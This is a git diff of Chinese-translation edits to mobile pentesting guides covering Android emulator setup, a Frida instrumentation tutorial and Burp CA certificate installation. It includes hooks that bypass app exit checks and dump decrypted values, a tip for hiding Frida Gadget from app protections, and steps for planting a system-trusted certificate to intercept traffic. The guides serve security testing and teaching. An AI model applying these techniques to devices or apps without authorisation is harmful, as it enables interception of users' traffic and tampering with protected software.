\AppData\Local\Android\Sdk\tools`
-在 mac 上你可以 **download the SDK tools** 并通过运行以下命令将它们加入 PATH:
+在 mac 上,你可以**下载 SDK tools**并通过运行以下命令将其加入 PATH:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
-或者从 **Android Studio GUI** 按照 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 所述安装,这会把它们安装到 `~/Library/Android/sdk/cmdline-tools/latest/bin/`、`~/Library/Android/sdk/platform-tools/` 和 `~/Library/Android/sdk/emulator/`
+或者通过 **Android Studio GUI** 如在 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 所示,这会将它们安装到 `~/Library/Android/sdk/cmdline-tools/latest/bin/`、`~/Library/Android/sdk/platform-tools/` 和 `~/Library/Android/sdk/emulator/`
对于 Java 问题:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
-## 图形界面 (GUI)
+## GUI
-### 准备虚拟机
+### Prepare Virtual Machine
-如果你安装了 Android Studio,你可以打开主项目视图并访问:_**Tools**_ --> _**AVD Manager.**_
+如果你已安装 Android Studio,你可以打开主项目视图并访问:_**Tools**_ --> _**AVD Manager.**_
@@ -36,38 +36,38 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
-然后,点击 _**Create Virtual Device**_
+Then, click on _**Create Virtual Device**_
-_**选择** 要使用的手机_ 并点击 _**Next.**_
+_**选择** 你想使用的手机_ 并点击 _**Next.**_
> [!WARNING]
-> 如果你需要带有 Play Store 的手机,请选择带有 Play Store 图标的机型!
+> 如果你需要安装了 Play Store 的手机,请选择带有 Play Store 图标的设备!
>
>
-在当前视图中,你可以**选择并下载手机将运行的 Android 镜像**:
+在当前视图中,你可以**选择并下载手机将要运行的 Android 镜像**:
-所以,选择它;如果还没下载,请点击名称旁的 _**Download**_ 图标(**现在等待镜像下载完成**)。\
-镜像下载完成后,选择 **`Next`** 然后 **`Finish`**。
+因此,选择它;如果它尚未下载,点击名称旁的 _**Download**_ 图标(**现在等到镜像下载完成**)。\
+一旦镜像下载完成,选择 **`Next`** 和 **`Finish`.**
-虚拟机将被创建。现在 **每次访问 AVD manager 时它都会出现**。
+虚拟机将被创建。现在 **每次你访问 AVD manager 时它都会存在**。
-### 运行虚拟机
+### Run Virtual Machine
要**运行**它,只需按下 _**Start button**_。
.png>)
-## 命令行工具
+## Command Line tool
> [!WARNING]
-> 在 macOS 上,如果已安装,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`。
+> 对于 macOS,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`,如果你已安装它们。
-首先你需要**决定你要使用哪个手机**,要查看可用手机列表,执行:
+首先你需要**决定你想使用哪部手机**,要查看可用手机列表,请执行:
```
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@@ -95,16 +95,16 @@ Name: Nexus 10
OEM : Google
[...]
```
-一旦你决定了要使用的设备名称,你需要 **决定要在该设备上运行哪个 Android 镜像。**\
+一旦你确定了要使用的设备名称,你需要**决定在该设备上运行哪个 Android 镜像。**\
你可以使用 `sdkmanager` 列出所有选项:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
-然后用下面的命令**下载**你想使用的那个(或全部):
+然后使用下面的命令**下载**你想使用的一个(或全部):
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
-一旦你下载了想要使用的 Android 镜像,你可以使用以下命令 **列出所有已下载的 Android 镜像**:
+一旦你下载了想要使用的 Android 镜像,你可以使用以下命令**列出所有已下载的 Android 镜像**:
```
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@@ -120,12 +120,12 @@ Type: Platform
API level: 29
Revision: 4
```
-此时你已经确定了要使用的设备并下载了 Android 镜像,所以 **你可以使用以下方法创建虚拟机**:
+此刻你已确定要使用的设备并已下载 Android 镜像,因此 **你可以使用以下方式创建虚拟机**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
-在上一个命令中 **我创建了一个名为** "_AVD9_" 的 VM,使用 **设备** "_Nexus 5X_" 和 **Android 镜像** "_system-images;android-28;google_apis;x86_64_"。\
-现在你可以使用下面的命令 **列出你已创建的虚拟机**:
+在上一个命令中,**我创建了一个名为** "_AVD9_" 的 VM,使用了 **设备** "_Nexus 5X_" 和 **Android 映像** "_system-images;android-28;google_apis;x86_64_"。\
+现在你可以使用以下命令 **列出你已创建的虚拟机**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@@ -143,52 +143,52 @@ Error: Google pixel_2 no longer exists as a device
### 运行虚拟机
> [!WARNING]
-> 对于 macOS,如果已安装,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`。
+> 在 macOS 上,如果已安装,你可以在 `/Users//Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,并在 `/Users//Library/Android/sdk/emulator/emulator` 找到 `emulator`。
-我们已经看到如何列出已创建的虚拟机,但**你也可以使用以下方式列出它们**:
+我们已经看到如何列出已创建的虚拟机,但 **你也可以使用以下命令列出它们**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
-您可以简单地使用以下命令 **运行任何已创建的虚拟机**:
+你可以简单地使用以下命令**运行任何已创建的虚拟机**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```
-或者使用更高级的选项,你可以运行类似这样的虚拟机:
+或者使用更高级的选项,你可以运行一个虚拟机,例如:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### 命令行选项
-不过有 **许多不同的有用命令行选项** 可用于启动虚拟机。下面列出一些有意思的选项,但可以 [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
+不过有很多不同的有用命令行选项可以用来启动虚拟机。下面列出一些有趣的选项,但可以在[**在这里查看完整列表**](https://developer.android.com/studio/run/emulator-commandline)
**Boot**
-- `-snapshot name` : Start VM snapshot
+- `-snapshot name` : 启动 VM 快照
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 列出记录的所有快照
**Network**
-- `-dns-server 192.0.2.0, 192.0.2.255` : 允许为 VM 指定以逗号分隔的 DNS 服务器。
-- **`-http-proxy 192.168.1.12:8080`** : 允许指定要使用的 HTTP 代理(在使用 Burp 捕获流量时非常有用)
-- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
-- `-netdelay 200` : 以毫秒为单位设置网络延迟仿真。
+- `-dns-server 192.0.2.0, 192.0.2.255` : 允许以逗号分隔的方式为 VM 指定 DNS 服务器。
+- **`-http-proxy 192.168.1.12:8080`** : 允许指定要使用的 HTTP 代理(对使用 Burp 捕获流量非常有用)
+- 如果代理设置因某种原因无法生效,尝试在系统内配置它们或使用像 "Super Proxy" 或 "ProxyDroid" 这样的应用。
+- `-netdelay 200` : 设置网络延迟仿真(以毫秒为单位)。
- `-port 5556` : 设置用于控制台和 adb 的 TCP 端口号。
- `-ports 5556,5559` : 设置用于控制台和 adb 的 TCP 端口。
- **`-tcpdump /path/dumpfile.cap`** : 将所有流量捕获到文件中
**System**
-- `-selinux {disabled|permissive}` : 将 Security-Enhanced Linux 安全模块设置为 disabled 或 permissive 模式(在 Linux 操作系统上)。
+- `-selinux {disabled|permissive}` : 将 Security-Enhanced Linux 安全模块设置为 disabled 或 permissive 模式(适用于 Linux 操作系统)。
- `-timezone Europe/Paris` : 为虚拟设备设置时区
- `-screen {touch(default)|multi-touch|o-touch}` : 设置模拟触摸屏模式。
-- **`-writable-system`** : 使用此选项可在仿真会话期间使系统镜像可写。你还需要运行 `adb root; adb remount`。这对于在系统中安装新的证书非常有用。
+- **`-writable-system`** : 使用此选项可在仿真会话期间使 system 镜像可写。你还需要运行 `adb root; adb remount`。这对于在系统中安装新证书非常有用。
## Linux CLI setup (SDK/AVD quickstart)
-官方 CLI 工具让在不使用 Android Studio 的情况下轻松创建快速且可调试的模拟器。
+官方 CLI 工具使得无需 Android Studio 也能轻松创建快速且可调试的模拟器。
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@@ -216,10 +216,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
adb root
adb shell whoami # expect: root
```
-备注
-- 系统镜像类型: google_apis (可调试,允许 adb root), google_apis_playstore (不可 root), aosp/default (轻量级).
-- 构建类型: userdebug 通常允许在支持调试的镜像上运行 `adb root`。Play Store images 属于生产构建,会阻止 root。
-- 在 x86_64 主机上,从 API 28+ 起不支持全系统 ARM64 模拟。对于 Android 11+,使用包含 per-app ARM-to-x86 translation 的 Google APIs/Play images 来快速运行许多仅限 ARM 的应用。
+注意事项
+- 系统镜像类型:google_apis(可调试,允许 adb root),google_apis_playstore(不可 root),aosp/default(轻量)。
+- 构建类型:userdebug 通常允许在支持调试的镜像上使用 `adb root`。Play Store 镜像是生产构建并阻止 root。
+- 在 x86_64 主机上,从 API 28+ 起不支持整系统 ARM64 仿真。对于 Android 11+,使用包含每应用 ARM-to-x86 翻译的 Google APIs/Play 镜像,以快速运行许多仅 ARM 的应用。
### 来自 CLI 的快照
```bash
@@ -231,37 +231,37 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 二进制翻译 (Android 11+)
-在 Android 11+ 上,Google APIs 和 Play Store 镜像可以按进程翻译 ARM 应用的二进制文件,同时保持系统其余部分为原生 x86/x86_64。这通常足够快,可以在桌面上测试许多仅支持 ARM 的应用。
+Google APIs 和 Play Store 镜像在 Android 11+ 上可以按进程翻译 ARM 应用二进制,同时保持系统其余部分为原生 x86/x86_64。这通常足够快,可在桌面上测试许多仅支持 ARM 的应用。
-> Tip: 在 pentests 期间优先使用 Google APIs x86/x86_64 镜像。Play images 使用起来方便,但会阻止 `adb root`;只有在你确实需要 Play services 并接受无法获得 root 的情况下才使用它们。
+> 提示:在 pentests 期间优先使用 Google APIs x86/x86_64 镜像。Play 镜像使用方便但会阻止 `adb root`;只有在你确实需要 Play services 并接受无法获得 root 的情况下才使用它们。
-## Rooting a Play Store device
+## 在 Play Store 设备上获取 root
-如果你下载了带有 Play Store 的设备,你将无法直接获得 root,并且会看到如下错误信息
+如果你下载的是带有 Play Store 的设备,你将无法直接获得 root,并且会收到如下错误信息
```
$ adb root
adbd cannot run as root in production builds
```
-Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) 我能够对其进行 root(例如参见 [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **或** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8))。
+使用 [rootAVD](https://github.com/newbit1/rootAVD) 和 [Magisk](https://github.com/topjohnwu/Magisk),我成功将其 root(例如参照 [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8))。
-## 安装 Burp 证书
+## Install Burp Certificate
-请查看以下页面以了解如何安装自定义 CA 证书:
+Check the following page to learn how to install a custom CA cert:
{{#ref}}
install-burp-certificate.md
{{#endref}}
-## 实用的 AVD 选项
+## Nice AVD Options
-### 创建快照
+### Take a Snapshot
-你可以**使用 GUI**随时对 VM 创建快照:
+You can **use the GUI** to take a snapshot of the VM at any time:
.png>)
-## 参考资料
+## References
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
index d73c852dd..c43fa7fbc 100644
--- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
@@ -10,22 +10,22 @@
pip install frida-tools
pip install frida
```
-**下载并安装** 在 android 上 **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
-用于重启 adb 到 root 模式、连接到设备、上传 frida-server、赋予 exec 权限并在后台运行的一行命令:
+**在 Android 设备上下载并安装** **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
+一行命令用于以 root 模式重启 adb、连接设备、上传 frida-server、赋予可执行权限并在后台运行:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
-**检查** 它是否 **正常工作**:
+**检查** 是否 **正常工作**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i #Get all the package name
```
-## Frida server 与 Gadget (root vs. no-root)
+## Frida server vs. Gadget (root vs. no-root)
-使用 Frida 对 Android 应用进行插装的两种常见方法:
+使用 Frida 对 Android 应用进行插装的两种常见方式:
-- Frida server (rooted devices): 将一个本地守护进程推送并运行,使你可以附加到任意进程。
-- Frida Gadget (no root): 将 Frida 作为共享库捆绑到 APK 内,并在目标进程中自动加载它。
+- Frida server (rooted devices): 将一个本地守护进程推送并运行,以便可以附加到任意进程。
+- Frida Gadget (no root): 将 Frida 作为共享库打包进 APK,并在目标进程中自动加载。
Frida server (rooted)
```bash
@@ -43,8 +43,8 @@ frida -U -n com.example.app
Frida Gadget (no-root)
1) 解包 APK,添加 gadget .so 和配置:
-- 将 libfrida-gadget.so 放入 lib//(例如 lib/arm64-v8a/)
-- 创建 assets/frida-gadget.config,包含你用于加载脚本的设置
+- 将 libfrida-gadget.so 放到 lib// (例如,lib/arm64-v8a/)
+- 在 assets/frida-gadget.config 中创建你的脚本加载设置
示例 frida-gadget.config
```json
@@ -53,8 +53,8 @@ Frida Gadget (no-root)
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
-2) 引用/加载 gadget 以便它尽早被初始化:
-- 最简单:在 Application.onCreate() 中添加一个小的 Java stub,调用 System.loadLibrary("frida-gadget"),或者使用已存在的 native lib loading。
+2) 引用/加载 gadget 以便尽早初始化:
+- 最简单的方法:在 Application.onCreate() 中添加一个小的 Java stub,调用 System.loadLibrary("frida-gadget"),或者使用已有的 native lib loading。
3) 重新打包并签名 APK,然后安装:
```bash
@@ -64,40 +64,40 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
-4) 从主机附加到 gadget 进程:
+4) 从主机附加到 gadget 进程:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
注意
-- Gadget 会被某些防护检测到;如有必要,请保持 名称/路径 隐蔽,并在加载时延后或按条件加载。
-- 对于加固的 apps,优先使用 rooted testing with server + late attach,或与 Magisk/Zygisk hiding 结合使用。
+- Gadget 会被某些保护检测到;如有需要,请保持名称/路径隐蔽,并在较晚或有条件时再加载。
+- 对于加固的应用,优先使用 root 测试并结合 server + late attach,或与 Magisk/Zygisk 隐藏结合使用。
## 教程
### [Tutorial 1](frida-tutorial-1.md)
-**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
+**来源**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
-**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
+**源码**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
-**参见 [link to read it](frida-tutorial-1.md).**
+**Follow the [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
-**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
-**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
+**来源**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
+**APKs 和 源码**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
-**参见[ link to read it.](frida-tutorial-2.md)**
+**Follow the[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
-**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
+**来源**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
-**参见 [link to read it](owaspuncrackable-1.md).**
+**Follow the [link to read it](owaspuncrackable-1.md).**
-**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+**你可以在这里找到更多 Awesome Frida 脚本:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## 快速示例
@@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
-### Hooking 无参数函数
+### Hooking functions without parameters
Hook 类 `sg.vantagepoint.a.c` 的函数 `a()`
```javascript
@@ -137,14 +137,14 @@ return false;
};
});
```
-拦截 java `exit()`
+Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System")
sysexit.exit.overload("int").implementation = function (var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)")
}
```
-Hook MainActivity `.onStart()` & `.onCreate()`
+Hook MainActivity `.onStart()` 和 `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity")
mainactivity.onStart.overload().implementation = function () {
@@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
-Hook android 的 `.onCreate()`
+Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
-### Hooking 带参数的函数并获取返回值
+### 对带参数的函数进行 Hook 并获取返回值
-Hooking a decryption function。打印输入,调用原始函数 decrypt 输入,并最后打印明文数据:
+对一个解密函数进行 Hook。打印输入,调用原始函数对输入进行 decrypt,最后打印明文数据:
```javascript
function getString(data) {
var ret = ""
@@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
-### Hooking 函数并使用我们的输入调用它们
+### Hooking 函数并用我们的输入调用它们
-Hook 一个接收 string 的函数,并用另一个 string 调用它(来自 [here](https://11x256.github.io/Frida-hooking-android-part-2/))
+钩取一个接收 string 的函数,并用另一个 string 调用它 (来自 [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret
}
```
-### 获取已创建的类对象
+### 获取已创建类的对象
-如果你想提取已创建对象的某个属性,可以使用下面的方法。
+如果想提取已创建对象的某个属性,可以使用下面的方法。
-在这个示例中,你将看到如何获取类 my_activity 的对象以及如何调用函数 .secret() 来打印该对象的私有属性:
+在这个示例中,你将看到如何获取类 my_activity 的对象以及如何调用函数 .secret(),该函数将打印该对象的私有属性:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
@@ -228,13 +228,13 @@ onComplete: function () {},
## 其他 Frida 教程
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
-- [高级 Frida 用法 博客系列 第1部分:IOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
+- [高级 Frida 用法 博客系列 第1部分:iOS 加密库](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## 参考资料
-- [构建可复现的 Android Bug Bounty 实验室:Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
+- [构建可复现的 Android 漏洞赏金 实验室:模拟器 vs Magisk、Burp、Frida 和 Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget 文档](https://frida.re/docs/gadget/)
-- [Frida 发布(服务器二进制)](https://github.com/frida/frida/releases)
+- [Frida releases (服务器二进制)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index 584c2ff7b..79cc1a4dc 100644
--- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -3,9 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## 通过 ADB 配置系统级代理
+## 通过 ADB 设置系统范围代理
-配置一个全局 HTTP 代理,使所有应用的流量通过你的拦截器 (Burp/mitmproxy) 路由:
+配置全局 HTTP 代理,使所有应用的流量都通过你的拦截器(Burp/mitmproxy):
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
-Tip:在 Burp 中,将监听器绑定到 0.0.0.0,这样 LAN 中的设备就可以连接(Proxy -> Options -> Proxy Listeners)。
+提示:在 Burp 中,将监听器绑定到 0.0.0.0,这样局域网设备就可以连接(Proxy -> Options -> Proxy Listeners)。
## 在虚拟机上
@@ -21,12 +21,12 @@ Tip:在 Burp 中,将监听器绑定到 0.0.0.0,这样 LAN 中的设备就
.png>)
-**以 Der 格式导出证书**,然后把它**转换**为 **Android** 能够**识别**的格式。注意,**要在 AVD 中的 Android 机器上配置 Burp 证书**,你需要**使用** **`-writable-system`** 选项**运行**该机器。\
-例如你可以运行它像:
+**将证书以 Der 格式导出**,然后把它**转换**为 **Android** 能够**识别**的格式。注意,**要在 AVD 中的 Android 机器上配置 Burp 证书**,需要以 **`-writable-system`** 选项**运行**该虚拟机。\
+例如你可以这样运行:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
-然后,要 **配置 burps certificate**:
+然后,要 **配置 burps 证书**:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
-一旦 **机器完成重启**,Burp 证书就会被其使用!
+一旦机器完成重启,Burp 证书将被其使用!
-## 使用 Magisc
+## Using Magisc
-If you **rooted your device with Magisc**(可能是模拟器),并且你 **无法按照** 之前的 **步骤** 安装 Burp 证书,因为 **文件系统为只读** 且无法重新挂载为可写,还有另一种方法。
+如果你使用 Magisc 对设备进行了 root(可能是模拟器),并且因为文件系统为只读且无法重新挂载为可写而**无法按照之前的步骤安装 Burp 证书**,还有另一种方法。
-在 [**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8) 中讲解,你需要:
+在[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8)中解释了,你需要:
-1. **Install a CA certificate**: 只需将 DER 格式的 Burp 证书拖放(将扩展名改为 `.crt`)到手机,使其存储在 Downloads 文件夹中,然后进入 `Install a certificate` -> `CA certificate`
+1. **Install a CA certificate**: 只需将 DER 格式的 Burp 证书拖放到手机上,并将扩展名改为 `.crt`,使其保存在 Downloads 文件夹,然后进入 `Install a certificate` -> `CA certificate`
@@ -53,27 +53,27 @@ If you **rooted your device with Magisc**(可能是模拟器),并且你 **
-2. **Make it System trusted**: 下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),将其拖放到手机,打开手机上的 Magics app,进入 **`Modules`** 部分,点击 **`Install from storage`**,选择该 `.zip` 模块,安装完成后 **重启** 手机:
+2. **Make it System trusted**: 下载 Magisc 模块 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个 .zip 文件),将其拖放到手机,在手机上的 Magics 应用中进入 `Modules` 部分,点击 `Install from storage`,选择该 `.zip` 模块并在安装完成后重启手机:
-- 重启后,进入 `Trusted credentials` -> `SYSTEM` 并检查 Postswigger cert 是否存在
+- 重启后,进入 `Trusted credentials` -> `SYSTEM` 检查 Postswigger 证书是否存在
### Learn how to create a Magisc module
-查看 [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
+查看 https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437
## Post Android 14
-在最新的 Android 14 版本中,对系统信任的证书颁发机构 (CA) 证书的处理方式发生了重大变化。之前,这些证书存放在 **`/system/etc/security/cacerts/`**,具有 root 权限的用户可以访问并修改它们,从而能够立即在整个系统中生效。然而,在 Android 14 中,存储位置已迁移到 **`/apex/com.android.conscrypt/cacerts`**,这是 **`/apex`** 路径内的目录,天生为不可变。
+在最新的 Android 14 版本中,系统受信任的 CA 证书处理方式发生了重大变化。此前,这些证书存放在 **`/system/etc/security/cacerts/`**,有 root 权限的用户可以访问和修改,从而立即在系统范围内生效。然而在 Android 14 中,存储位置已移动到 **`/apex/com.android.conscrypt/cacerts`**,这是位于 **`/apex`** 路径下的目录,而该目录本质上是不可变的。
-试图将 **APEX cacerts path** 重新挂载为可写会失败,系统不允许此类操作。即使尝试卸载或用临时文件系统 (tmpfs) 覆盖该目录,也无法绕过这种不可变性;应用程序仍会访问原始证书数据,而不受文件系统层面更改的影响。这种强韧性来自 **`/apex`** 挂载被配置为具有 PRIVATE propagation,确保 **`/apex`** 目录内的任何修改不会影响其他进程。
+尝试将 **APEX cacerts 路径** 重新挂载为可写将会失败,系统不允许此类操作。即使尝试卸载或用临时文件系统(tmpfs)覆盖该目录,也无法绕过不可变性;应用程序仍然会访问原始的证书数据,而不会受文件系统层面的更改影响。这种鲁棒性源于 **`/apex`** 挂载被配置为 PRIVATE 传播,确保对 **`/apex`** 目录的任何修改不会影响其他进程。
-Android 的初始化涉及 `init` 进程,该进程在启动操作系统时还会启动 Zygote 进程。Zygote 负责以包含私有 **`/apex`** 挂载的新挂载命名空间启动应用进程,从而将对该目录的更改与其他进程隔离开来。
+Android 的初始化由 `init` 进程负责,在启动操作系统时,`init` 同时也会启动 Zygote 进程。Zygote 负责以包含私有 **`/apex`** 挂载的新挂载命名空间启动应用进程,从而将对该目录的更改与其他进程隔离。
-不过,对于需要修改 **`/apex`** 目录中系统信任 CA 证书的情况,存在一种变通方法。该方法涉及手动重新挂载 **`/apex`** 以移除 PRIVATE propagation,从而使其可写。具体流程包括将 **`/apex/com.android.conscrypt`** 的内容复制到其他位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读限制,然后将内容恢复到 **`/apex`** 中的原始位置。该方法需要快速操作以避免系统崩溃。为确保这些更改在系统范围内生效,建议重启 `system_server`,这将有效重启所有应用并使系统恢复一致状态。
+尽管如此,仍然存在一种变通方法,适用于需要修改 **`/apex`** 目录下系统受信任 CA 证书的情况。该方法涉及手动重新挂载 **`/apex`** 以移除 PRIVATE 传播,从而使其可写。该过程包括将 **`/apex/com.android.conscrypt`** 的内容复制到另一位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读限制,然后将内容恢复回 **`/apex`** 的原位置。该方法需要快速执行以避免系统崩溃。为了确保这些更改在系统范围内生效,建议重启 `system_server`,这会有效地重启所有应用并使系统回到一致状态。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@@ -131,24 +131,26 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
-### 通过 NSEnter 进行 Bind-mounting
+### Bind-mounting 通过 NSEnter
-1. **设置可写目录**:最初,通过在现有的非-APEX 系统证书目录上方挂载 `tmpfs` 来建立一个可写目录。通过以下命令实现:
